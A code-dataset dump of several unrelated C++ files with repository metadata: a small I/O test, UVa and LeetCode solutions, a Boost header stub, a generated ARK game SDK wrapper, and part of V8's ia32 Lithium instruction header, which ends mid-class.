e1b236207a0fa8e656ca2671a3ed6098933f218e | aff1a1d533bce0b917af8677c2c6713d6a1100f5 | /iotest/cppio-noendl.cpp | 517a5cec661f360c445ed538a6a7a302b0756af4 | [] | no_license | NFWSA/TestThings | 17363e8011ffe3f63d9a8831cff5fbd37aaf30e3 | 4c99eb8ed14fa5e75ea4471097347638f1074f53 | refs/heads/master | 2021-01-20T21:19:38.275438 | 2017-09-02T11:32:10 | 2017-09-02T11:32:10 | 101,763,579 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 145 | cpp | #include <iostream>
int main()
{
for (unsigned int i = 0; i < 0xFFFF; ++i)
std::cout << "Hello\n";
return 0;
}
| [
"surgenight@hotmail.com"
] | surgenight@hotmail.com |
781ba50697eec2d347754626d7075651d1946066 | 08b8c25f7fea9970647f31469e4be3bc48e5b86d | /uva-online-judge/accepted-solutions/11876 - N NOD (N).cpp | 57ea9117fff4d5adaf44593237d9127c6f0a4f41 | [] | no_license | SharifulCSECoU/competitive-programming | ab55e458055c816877b16044a728af5a35af2565 | f7d4bb0cb156cc6044fe61e7ed508d5bdcf68a07 | refs/heads/master | 2020-04-05T03:05:10.770413 | 2018-11-07T06:59:28 | 2018-11-07T06:59:28 | 156,500,818 | 0 | 0 | null | 2018-11-07T06:30:40 | 2018-11-07T06:30:40 | null | UTF-8 | C++ | false | false | 1,173 | cpp | //----------------------------
// LAM PHAN VIET
// UVA 11876 - N + NOD (N)
// Time limit: 2s
//----------------------------
#include <iostream>
#include <math.h>
#include <stdio.h>
#define MAXN 64725
using namespace std;
int N[MAXN+10];
int ans[1000005];
bool Exist[1000005];
//map <int , int> Exist;
int Nod(int x) {
int i, limit, sum = 0;
for (i = 2, limit = (int)sqrt(x); i <= limit; i++)
if (x%i==0) sum++;
sum *= 2;
if (limit-sqrt(x)==0) sum--;
return sum+2;
}
void PreCal() {
N[0] = 1; N[1] = 2;
memset(Exist,false,1000005);
Exist[1] = true; Exist[2] = true;
for (int i = 2; i <= MAXN; i++) {
N[i] = N[i-1] + Nod(N[i-1]);
Exist[N[i]] = true;
}
}
int Result() {
int k, i;
ans[0] = 0; k = 0;
for (i = 1; i <= 1000000; i++) {
ans[i] = ans[i-1];
if (i >= N[k]) {
ans[i]++;
k++;
}
}
}
main() {
PreCal();
Result();
int kase, k, a, b, rs;
cin >> kase;
for (k = 1; k <= kase; k++) {
cin >> a >> b;
rs = ans[b]-ans[a];
if (Exist[a]) rs++;
printf("Case %d: %d\n", k, rs);
}
}
| [
"lamphanviet@gmail.com"
] | lamphanviet@gmail.com |
e82bf408ca421a1c4088362331c5c1557c1d8b25 | e77104b522a387c383b37825ce708bf1a6e92b9e | /395.LongestSubstringWithAtLeastKRepeatingCharacters.cpp | ce05dae4b5fe901bc938d3c0b39b05f3865c7f16 | [] | no_license | nandin-borjigin/LeetCode | a8894095de0d81cc212e806771fd4c8f67467240 | 19d78efb91671217965b4e55f922829b0f0cca04 | refs/heads/master | 2021-06-24T00:42:12.434073 | 2017-08-13T06:25:33 | 2017-08-13T06:25:33 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,501 | cpp |
#include <gtest/gtest.h>
#include "header.h"
SOLUTION_BEGIN(395)
int longestSubstring(string s, int k) {
if (s.length() < k) return 0;
vector<int> freq(26, 0);
for (auto c: s) {
freq[c - 'a']++;
}
vector<size_t> splitPos;
for (char i = 0; i < 26; ++i) {
if (freq[i] > 0 && freq[i] < k) {
split(s, 'a' + i, splitPos);
}
}
if (splitPos.empty()) return static_cast<int>(s.length());
std::sort(splitPos.begin(), splitPos.end());
splitPos.push_back(s.length());
size_t start = 0;
int max = 0;
for (auto pos : splitPos) {
max = std::max(max, longestSubstring(s.substr(start, pos - start), k));
start = pos + 1;
}
return max;
}
private:
void split(const string& s, char c, vector<size_t>& v) {
auto pos = s.find(c);
while (pos != string::npos) {
v.push_back(pos);
pos = s.find(c, pos + 1);
}
}
SOLUTION_END
TEST_BEGIN(395)
void test(const string& s, int k, int expected) {
EXPECT_EQ(Solution().longestSubstring(s, k), expected);
}
TEST_END
MYTEST_F(395, Example1) {
test("aaabb", 3, 3);
}
MYTEST_F(395, Example2) {
test("ababb", 2, 5);
}
MYTEST_F(395, Case1) {
test("bbaaacbd", 3, 3);
}
| [
"nandiin@163.com"
] | nandiin@163.com |
bc927e48ee11655664ecb7399b6b54cfa5e4c0c0 | 12d83468a3544af4e9d4f26711db1755d53838d6 | /cplusplus_basic/Qt/boost/function/function2.hpp | eb230c61a25df764f6a9b25868f984712d484406 | [] | no_license | ngzHappy/cxx17 | 5e06a31d127b873355cab3a8fe0524f1223715da | 22d3f55bfe2a9ba300bbb65cfcbdd2dc58150ca4 | refs/heads/master | 2021-01-11T20:48:19.107618 | 2017-01-17T17:29:16 | 2017-01-17T17:29:16 | 79,188,658 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 431 | hpp | // Boost.Function library
// Copyright Douglas Gregor 2002-2003. Use, modification and
// distribution is subject to the Boost Software License, Version
// 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
// For more information, see http://www.boost.org
#define BOOST_FUNCTION_NUM_ARGS 2
#include <Qt/boost/function/detail/maybe_include.hpp>
#undef BOOST_FUNCTION_NUM_ARGS
| [
"819869472@qq.com"
] | 819869472@qq.com |
e4e701365feafa0f9ff2733bd8b93a959a8c789b | cf8ddfc720bf6451c4ef4fa01684327431db1919 | /SDK/ARKSurvivalEvolved_Buff_XenomorphAcid_functions.cpp | 4e56aaef3bd5b9a4bbbb9595abbe4265c58775f5 | [
"MIT"
] | permissive | git-Charlie/ARK-SDK | 75337684b11e7b9f668da1f15e8054052a3b600f | c38ca9925309516b2093ad8c3a70ed9489e1d573 | refs/heads/master | 2023-06-20T06:30:33.550123 | 2021-07-11T13:41:45 | 2021-07-11T13:41:45 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,456 | cpp | // ARKSurvivalEvolved (329.9) SDK
#ifdef _MSC_VER
#pragma pack(push, 0x8)
#endif
#include "ARKSurvivalEvolved_Buff_XenomorphAcid_parameters.hpp"
namespace sdk
{
//---------------------------------------------------------------------------
//Functions
//---------------------------------------------------------------------------
// Function Buff_XenomorphAcid.Buff_XenomorphAcid_C.UserConstructionScript
// ()
void ABuff_XenomorphAcid_C::UserConstructionScript()
{
static auto fn = UObject::FindObject<UFunction>("Function Buff_XenomorphAcid.Buff_XenomorphAcid_C.UserConstructionScript");
ABuff_XenomorphAcid_C_UserConstructionScript_Params params;
auto flags = fn->FunctionFlags;
UObject::ProcessEvent(fn, ¶ms);
fn->FunctionFlags = flags;
}
// Function Buff_XenomorphAcid.Buff_XenomorphAcid_C.ExecuteUbergraph_Buff_XenomorphAcid
// ()
// Parameters:
// int EntryPoint (Parm, ZeroConstructor, IsPlainOldData)
void ABuff_XenomorphAcid_C::ExecuteUbergraph_Buff_XenomorphAcid(int EntryPoint)
{
static auto fn = UObject::FindObject<UFunction>("Function Buff_XenomorphAcid.Buff_XenomorphAcid_C.ExecuteUbergraph_Buff_XenomorphAcid");
ABuff_XenomorphAcid_C_ExecuteUbergraph_Buff_XenomorphAcid_Params params;
params.EntryPoint = EntryPoint;
auto flags = fn->FunctionFlags;
UObject::ProcessEvent(fn, ¶ms);
fn->FunctionFlags = flags;
}
}
#ifdef _MSC_VER
#pragma pack(pop)
#endif
| [
"sergey.2bite@gmail.com"
] | sergey.2bite@gmail.com |
a85bb085e10fb1f660756c771cdc205525bbc182 | f67443ff50cac70b79e8a442477a5cf522cc8227 | /v8-3.16.4/src/ia32/lithium-ia32.h | 02eb6d38fd80532d23ad583765a40a01cbd4c0e5 | [
"BSD-3-Clause",
"bzip2-1.0.6"
] | permissive | gpertea/k8 | e4c656d3f173e87246cc943269aad4adf0b8350f | 14a1e5c9b38badb4b4ebc1feeddcf97e08252b5a | refs/heads/master | 2020-03-30T13:12:06.827588 | 2018-10-03T03:48:15 | 2018-10-03T03:48:15 | 151,262,738 | 0 | 0 | null | 2018-10-02T13:53:43 | 2018-10-02T13:53:43 | null | UTF-8 | C++ | false | false | 76,857 | h | // Copyright 2012 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following
// disclaimer in the documentation and/or other materials provided
// with the distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#ifndef V8_IA32_LITHIUM_IA32_H_
#define V8_IA32_LITHIUM_IA32_H_
#include "hydrogen.h"
#include "lithium-allocator.h"
#include "lithium.h"
#include "safepoint-table.h"
#include "utils.h"
namespace v8 {
namespace internal {
// Forward declarations.
class LCodeGen;
#define LITHIUM_CONCRETE_INSTRUCTION_LIST(V) \
V(AccessArgumentsAt) \
V(AddI) \
V(AllocateObject) \
V(ApplyArguments) \
V(ArgumentsElements) \
V(ArgumentsLength) \
V(ArithmeticD) \
V(ArithmeticT) \
V(ArrayLiteral) \
V(BitI) \
V(BitNotI) \
V(BoundsCheck) \
V(Branch) \
V(CallConstantFunction) \
V(CallFunction) \
V(CallGlobal) \
V(CallKeyed) \
V(CallKnownGlobal) \
V(CallNamed) \
V(CallNew) \
V(CallRuntime) \
V(CallStub) \
V(CheckFunction) \
V(CheckInstanceType) \
V(CheckMaps) \
V(CheckNonSmi) \
V(CheckPrototypeMaps) \
V(CheckSmi) \
V(ClampDToUint8) \
V(ClampIToUint8) \
V(ClampTToUint8) \
V(ClassOfTestAndBranch) \
V(CmpIDAndBranch) \
V(CmpObjectEqAndBranch) \
V(CmpMapAndBranch) \
V(CmpT) \
V(CmpConstantEqAndBranch) \
V(ConstantD) \
V(ConstantI) \
V(ConstantT) \
V(Context) \
V(DeclareGlobals) \
V(DeleteProperty) \
V(Deoptimize) \
V(DivI) \
V(DoubleToI) \
V(ElementsKind) \
V(FastLiteral) \
V(FixedArrayBaseLength) \
V(FunctionLiteral) \
V(GetCachedArrayIndex) \
V(GlobalObject) \
V(GlobalReceiver) \
V(Goto) \
V(HasCachedArrayIndexAndBranch) \
V(HasInstanceTypeAndBranch) \
V(In) \
V(InstanceOf) \
V(InstanceOfKnownGlobal) \
V(InstructionGap) \
V(Integer32ToDouble) \
V(Uint32ToDouble) \
V(InvokeFunction) \
V(IsConstructCallAndBranch) \
V(IsNilAndBranch) \
V(IsObjectAndBranch) \
V(IsStringAndBranch) \
V(IsSmiAndBranch) \
V(IsUndetectableAndBranch) \
V(JSArrayLength) \
V(Label) \
V(LazyBailout) \
V(LoadContextSlot) \
V(LoadElements) \
V(LoadExternalArrayPointer) \
V(LoadFunctionPrototype) \
V(LoadGlobalCell) \
V(LoadGlobalGeneric) \
V(LoadKeyed) \
V(LoadKeyedGeneric) \
V(LoadNamedField) \
V(LoadNamedFieldPolymorphic) \
V(LoadNamedGeneric) \
V(MapEnumLength) \
V(MathExp) \
V(MathFloorOfDiv) \
V(MathMinMax) \
V(MathPowHalf) \
V(ModI) \
V(MulI) \
V(NumberTagD) \
V(NumberTagI) \
V(NumberTagU) \
V(NumberUntagD) \
V(ObjectLiteral) \
V(OsrEntry) \
V(OuterContext) \
V(Parameter) \
V(Power) \
V(Random) \
V(PushArgument) \
V(RegExpLiteral) \
V(Return) \
V(SeqStringSetChar) \
V(ShiftI) \
V(SmiTag) \
V(SmiUntag) \
V(StackCheck) \
V(StoreContextSlot) \
V(StoreGlobalCell) \
V(StoreGlobalGeneric) \
V(StoreKeyed) \
V(StoreKeyedGeneric) \
V(StoreNamedField) \
V(StoreNamedGeneric) \
V(StringAdd) \
V(StringCharCodeAt) \
V(StringCharFromCode) \
V(StringCompareAndBranch) \
V(StringLength) \
V(SubI) \
V(TaggedToI) \
V(ThisFunction) \
V(Throw) \
V(ToFastProperties) \
V(TransitionElementsKind) \
V(Typeof) \
V(TypeofIsAndBranch) \
V(UnaryMathOperation) \
V(UnknownOSRValue) \
V(ValueOf) \
V(ForInPrepareMap) \
V(ForInCacheArray) \
V(CheckMapValue) \
V(LoadFieldByIndex) \
V(DateField) \
V(WrapReceiver) \
V(Drop)
#define DECLARE_CONCRETE_INSTRUCTION(type, mnemonic) \
virtual Opcode opcode() const { return LInstruction::k##type; } \
virtual void CompileToNative(LCodeGen* generator); \
virtual const char* Mnemonic() const { return mnemonic; } \
static L##type* cast(LInstruction* instr) { \
ASSERT(instr->Is##type()); \
return reinterpret_cast<L##type*>(instr); \
}
#define DECLARE_HYDROGEN_ACCESSOR(type) \
H##type* hydrogen() const { \
return H##type::cast(hydrogen_value()); \
}
class LInstruction: public ZoneObject {
public:
LInstruction()
: environment_(NULL),
hydrogen_value_(NULL),
is_call_(false) { }
virtual ~LInstruction() { }
virtual void CompileToNative(LCodeGen* generator) = 0;
virtual const char* Mnemonic() const = 0;
virtual void PrintTo(StringStream* stream);
virtual void PrintDataTo(StringStream* stream);
virtual void PrintOutputOperandTo(StringStream* stream);
enum Opcode {
// Declare a unique enum value for each instruction.
#define DECLARE_OPCODE(type) k##type,
LITHIUM_CONCRETE_INSTRUCTION_LIST(DECLARE_OPCODE)
kNumberOfInstructions
#undef DECLARE_OPCODE
};
virtual Opcode opcode() const = 0;
// Declare non-virtual type testers for all leaf IR classes.
#define DECLARE_PREDICATE(type) \
bool Is##type() const { return opcode() == k##type; }
LITHIUM_CONCRETE_INSTRUCTION_LIST(DECLARE_PREDICATE)
#undef DECLARE_PREDICATE
// Declare virtual predicates for instructions that don't have
// an opcode.
virtual bool IsGap() const { return false; }
virtual bool IsControl() const { return false; }
void set_environment(LEnvironment* env) { environment_ = env; }
LEnvironment* environment() const { return environment_; }
bool HasEnvironment() const { return environment_ != NULL; }
void set_pointer_map(LPointerMap* p) { pointer_map_.set(p); }
LPointerMap* pointer_map() const { return pointer_map_.get(); }
bool HasPointerMap() const { return pointer_map_.is_set(); }
void set_hydrogen_value(HValue* value) { hydrogen_value_ = value; }
HValue* hydrogen_value() const { return hydrogen_value_; }
virtual void SetDeferredLazyDeoptimizationEnvironment(LEnvironment* env) { }
void MarkAsCall() { is_call_ = true; }
// Interface to the register allocator and iterators.
bool ClobbersTemps() const { return is_call_; }
bool ClobbersRegisters() const { return is_call_; }
virtual bool ClobbersDoubleRegisters() const {
return is_call_ || !CpuFeatures::IsSupported(SSE2);
}
virtual bool HasResult() const = 0;
virtual LOperand* result() = 0;
LOperand* FirstInput() { return InputAt(0); }
LOperand* Output() { return HasResult() ? result() : NULL; }
#ifdef DEBUG
void VerifyCall();
#endif
private:
// Iterator support.
friend class InputIterator;
virtual int InputCount() = 0;
virtual LOperand* InputAt(int i) = 0;
friend class TempIterator;
virtual int TempCount() = 0;
virtual LOperand* TempAt(int i) = 0;
LEnvironment* environment_;
SetOncePointer<LPointerMap> pointer_map_;
HValue* hydrogen_value_;
bool is_call_;
};
// R = number of result operands (0 or 1).
// I = number of input operands.
// T = number of temporary operands.
template<int R, int I, int T>
class LTemplateInstruction: public LInstruction {
public:
// Allow 0 or 1 output operands.
STATIC_ASSERT(R == 0 || R == 1);
virtual bool HasResult() const { return R != 0; }
void set_result(LOperand* operand) { results_[0] = operand; }
LOperand* result() { return results_[0]; }
protected:
EmbeddedContainer<LOperand*, R> results_;
EmbeddedContainer<LOperand*, I> inputs_;
EmbeddedContainer<LOperand*, T> temps_;
private:
// Iterator support.
virtual int InputCount() { return I; }
virtual LOperand* InputAt(int i) { return inputs_[i]; }
virtual int TempCount() { return T; }
virtual LOperand* TempAt(int i) { return temps_[i]; }
};
class LGap: public LTemplateInstruction<0, 0, 0> {
public:
explicit LGap(HBasicBlock* block) : block_(block) {
parallel_moves_[BEFORE] = NULL;
parallel_moves_[START] = NULL;
parallel_moves_[END] = NULL;
parallel_moves_[AFTER] = NULL;
}
// Can't use the DECLARE-macro here because of sub-classes.
virtual bool IsGap() const { return true; }
virtual void PrintDataTo(StringStream* stream);
static LGap* cast(LInstruction* instr) {
ASSERT(instr->IsGap());
return reinterpret_cast<LGap*>(instr);
}
bool IsRedundant() const;
HBasicBlock* block() const { return block_; }
enum InnerPosition {
BEFORE,
START,
END,
AFTER,
FIRST_INNER_POSITION = BEFORE,
LAST_INNER_POSITION = AFTER
};
LParallelMove* GetOrCreateParallelMove(InnerPosition pos, Zone* zone) {
if (parallel_moves_[pos] == NULL) {
parallel_moves_[pos] = new(zone) LParallelMove(zone);
}
return parallel_moves_[pos];
}
LParallelMove* GetParallelMove(InnerPosition pos) {
return parallel_moves_[pos];
}
private:
LParallelMove* parallel_moves_[LAST_INNER_POSITION + 1];
HBasicBlock* block_;
};
class LInstructionGap: public LGap {
public:
explicit LInstructionGap(HBasicBlock* block) : LGap(block) { }
virtual bool ClobbersDoubleRegisters() const { return false; }
DECLARE_CONCRETE_INSTRUCTION(InstructionGap, "gap")
};
class LGoto: public LTemplateInstruction<0, 0, 0> {
public:
explicit LGoto(int block_id) : block_id_(block_id) { }
DECLARE_CONCRETE_INSTRUCTION(Goto, "goto")
virtual void PrintDataTo(StringStream* stream);
virtual bool IsControl() const { return true; }
int block_id() const { return block_id_; }
private:
int block_id_;
};
class LLazyBailout: public LTemplateInstruction<0, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(LazyBailout, "lazy-bailout")
};
class LDeoptimize: public LTemplateInstruction<0, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(Deoptimize, "deoptimize")
};
class LLabel: public LGap {
public:
explicit LLabel(HBasicBlock* block)
: LGap(block), replacement_(NULL) { }
DECLARE_CONCRETE_INSTRUCTION(Label, "label")
virtual void PrintDataTo(StringStream* stream);
int block_id() const { return block()->block_id(); }
bool is_loop_header() const { return block()->IsLoopHeader(); }
Label* label() { return &label_; }
LLabel* replacement() const { return replacement_; }
void set_replacement(LLabel* label) { replacement_ = label; }
bool HasReplacement() const { return replacement_ != NULL; }
private:
Label label_;
LLabel* replacement_;
};
class LParameter: public LTemplateInstruction<1, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(Parameter, "parameter")
};
class LCallStub: public LTemplateInstruction<1, 1, 0> {
public:
explicit LCallStub(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CallStub, "call-stub")
DECLARE_HYDROGEN_ACCESSOR(CallStub)
TranscendentalCache::Type transcendental_type() {
return hydrogen()->transcendental_type();
}
};
class LUnknownOSRValue: public LTemplateInstruction<1, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(UnknownOSRValue, "unknown-osr-value")
};
template<int I, int T>
class LControlInstruction: public LTemplateInstruction<0, I, T> {
public:
virtual bool IsControl() const { return true; }
int SuccessorCount() { return hydrogen()->SuccessorCount(); }
HBasicBlock* SuccessorAt(int i) { return hydrogen()->SuccessorAt(i); }
int true_block_id() { return hydrogen()->SuccessorAt(0)->block_id(); }
int false_block_id() { return hydrogen()->SuccessorAt(1)->block_id(); }
private:
HControlInstruction* hydrogen() {
return HControlInstruction::cast(this->hydrogen_value());
}
};
class LWrapReceiver: public LTemplateInstruction<1, 2, 1> {
public:
LWrapReceiver(LOperand* receiver,
LOperand* function,
LOperand* temp) {
inputs_[0] = receiver;
inputs_[1] = function;
temps_[0] = temp;
}
LOperand* receiver() { return inputs_[0]; }
LOperand* function() { return inputs_[1]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(WrapReceiver, "wrap-receiver")
};
class LApplyArguments: public LTemplateInstruction<1, 4, 0> {
public:
LApplyArguments(LOperand* function,
LOperand* receiver,
LOperand* length,
LOperand* elements) {
inputs_[0] = function;
inputs_[1] = receiver;
inputs_[2] = length;
inputs_[3] = elements;
}
LOperand* function() { return inputs_[0]; }
LOperand* receiver() { return inputs_[1]; }
LOperand* length() { return inputs_[2]; }
LOperand* elements() { return inputs_[3]; }
DECLARE_CONCRETE_INSTRUCTION(ApplyArguments, "apply-arguments")
};
class LAccessArgumentsAt: public LTemplateInstruction<1, 3, 0> {
public:
LAccessArgumentsAt(LOperand* arguments, LOperand* length, LOperand* index) {
inputs_[0] = arguments;
inputs_[1] = length;
inputs_[2] = index;
}
LOperand* arguments() { return inputs_[0]; }
LOperand* length() { return inputs_[1]; }
LOperand* index() { return inputs_[2]; }
DECLARE_CONCRETE_INSTRUCTION(AccessArgumentsAt, "access-arguments-at")
virtual void PrintDataTo(StringStream* stream);
};
class LArgumentsLength: public LTemplateInstruction<1, 1, 0> {
public:
explicit LArgumentsLength(LOperand* elements) {
inputs_[0] = elements;
}
LOperand* elements() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ArgumentsLength, "arguments-length")
};
class LArgumentsElements: public LTemplateInstruction<1, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(ArgumentsElements, "arguments-elements")
DECLARE_HYDROGEN_ACCESSOR(ArgumentsElements)
};
class LModI: public LTemplateInstruction<1, 2, 1> {
public:
LModI(LOperand* left, LOperand* right, LOperand* temp) {
inputs_[0] = left;
inputs_[1] = right;
temps_[0] = temp;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ModI, "mod-i")
DECLARE_HYDROGEN_ACCESSOR(Mod)
};
class LDivI: public LTemplateInstruction<1, 2, 1> {
public:
LDivI(LOperand* left, LOperand* right, LOperand* temp) {
inputs_[0] = left;
inputs_[1] = right;
temps_[0] = temp;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
bool is_flooring() { return hydrogen_value()->IsMathFloorOfDiv(); }
DECLARE_CONCRETE_INSTRUCTION(DivI, "div-i")
DECLARE_HYDROGEN_ACCESSOR(Div)
};
class LMathFloorOfDiv: public LTemplateInstruction<1, 2, 1> {
public:
LMathFloorOfDiv(LOperand* left,
LOperand* right,
LOperand* temp = NULL) {
inputs_[0] = left;
inputs_[1] = right;
temps_[0] = temp;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(MathFloorOfDiv, "math-floor-of-div")
DECLARE_HYDROGEN_ACCESSOR(MathFloorOfDiv)
};
class LMulI: public LTemplateInstruction<1, 2, 1> {
public:
LMulI(LOperand* left, LOperand* right, LOperand* temp) {
inputs_[0] = left;
inputs_[1] = right;
temps_[0] = temp;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(MulI, "mul-i")
DECLARE_HYDROGEN_ACCESSOR(Mul)
};
class LCmpIDAndBranch: public LControlInstruction<2, 0> {
public:
LCmpIDAndBranch(LOperand* left, LOperand* right) {
inputs_[0] = left;
inputs_[1] = right;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(CmpIDAndBranch, "cmp-id-and-branch")
DECLARE_HYDROGEN_ACCESSOR(CompareIDAndBranch)
Token::Value op() const { return hydrogen()->token(); }
bool is_double() const {
return hydrogen()->representation().IsDouble();
}
virtual void PrintDataTo(StringStream* stream);
};
class LUnaryMathOperation: public LTemplateInstruction<1, 2, 0> {
public:
LUnaryMathOperation(LOperand* context, LOperand* value) {
inputs_[1] = context;
inputs_[0] = value;
}
LOperand* context() { return inputs_[1]; }
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(UnaryMathOperation, "unary-math-operation")
DECLARE_HYDROGEN_ACCESSOR(UnaryMathOperation)
virtual void PrintDataTo(StringStream* stream);
BuiltinFunctionId op() const { return hydrogen()->op(); }
};
class LMathExp: public LTemplateInstruction<1, 1, 2> {
public:
LMathExp(LOperand* value,
LOperand* temp1,
LOperand* temp2) {
inputs_[0] = value;
temps_[0] = temp1;
temps_[1] = temp2;
ExternalReference::InitializeMathExpData();
}
LOperand* value() { return inputs_[0]; }
LOperand* temp1() { return temps_[0]; }
LOperand* temp2() { return temps_[1]; }
DECLARE_CONCRETE_INSTRUCTION(MathExp, "math-exp")
virtual void PrintDataTo(StringStream* stream);
};
class LMathPowHalf: public LTemplateInstruction<1, 2, 1> {
public:
LMathPowHalf(LOperand* context, LOperand* value, LOperand* temp) {
inputs_[1] = context;
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* context() { return inputs_[1]; }
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(MathPowHalf, "math-pow-half")
virtual void PrintDataTo(StringStream* stream);
};
class LCmpObjectEqAndBranch: public LControlInstruction<2, 0> {
public:
LCmpObjectEqAndBranch(LOperand* left, LOperand* right) {
inputs_[0] = left;
inputs_[1] = right;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(CmpObjectEqAndBranch,
"cmp-object-eq-and-branch")
};
class LCmpConstantEqAndBranch: public LControlInstruction<1, 0> {
public:
explicit LCmpConstantEqAndBranch(LOperand* left) {
inputs_[0] = left;
}
LOperand* left() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CmpConstantEqAndBranch,
"cmp-constant-eq-and-branch")
DECLARE_HYDROGEN_ACCESSOR(CompareConstantEqAndBranch)
};
class LIsNilAndBranch: public LControlInstruction<1, 1> {
public:
LIsNilAndBranch(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(IsNilAndBranch, "is-nil-and-branch")
DECLARE_HYDROGEN_ACCESSOR(IsNilAndBranch)
EqualityKind kind() const { return hydrogen()->kind(); }
NilValue nil() const { return hydrogen()->nil(); }
virtual void PrintDataTo(StringStream* stream);
};
class LIsObjectAndBranch: public LControlInstruction<1, 1> {
public:
LIsObjectAndBranch(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(IsObjectAndBranch, "is-object-and-branch")
virtual void PrintDataTo(StringStream* stream);
};
class LIsStringAndBranch: public LControlInstruction<1, 1> {
public:
LIsStringAndBranch(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(IsStringAndBranch, "is-string-and-branch")
virtual void PrintDataTo(StringStream* stream);
};
class LIsSmiAndBranch: public LControlInstruction<1, 0> {
public:
explicit LIsSmiAndBranch(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(IsSmiAndBranch, "is-smi-and-branch")
DECLARE_HYDROGEN_ACCESSOR(IsSmiAndBranch)
virtual void PrintDataTo(StringStream* stream);
};
class LIsUndetectableAndBranch: public LControlInstruction<1, 1> {
public:
LIsUndetectableAndBranch(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(IsUndetectableAndBranch,
"is-undetectable-and-branch")
virtual void PrintDataTo(StringStream* stream);
};
class LStringCompareAndBranch: public LControlInstruction<3, 0> {
public:
LStringCompareAndBranch(LOperand* context, LOperand* left, LOperand* right) {
inputs_[0] = context;
inputs_[1] = left;
inputs_[2] = right;
}
LOperand* left() { return inputs_[1]; }
LOperand* right() { return inputs_[2]; }
DECLARE_CONCRETE_INSTRUCTION(StringCompareAndBranch,
"string-compare-and-branch")
DECLARE_HYDROGEN_ACCESSOR(StringCompareAndBranch)
virtual void PrintDataTo(StringStream* stream);
Token::Value op() const { return hydrogen()->token(); }
};
class LHasInstanceTypeAndBranch: public LControlInstruction<1, 1> {
public:
LHasInstanceTypeAndBranch(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(HasInstanceTypeAndBranch,
"has-instance-type-and-branch")
DECLARE_HYDROGEN_ACCESSOR(HasInstanceTypeAndBranch)
virtual void PrintDataTo(StringStream* stream);
};
class LGetCachedArrayIndex: public LTemplateInstruction<1, 1, 0> {
public:
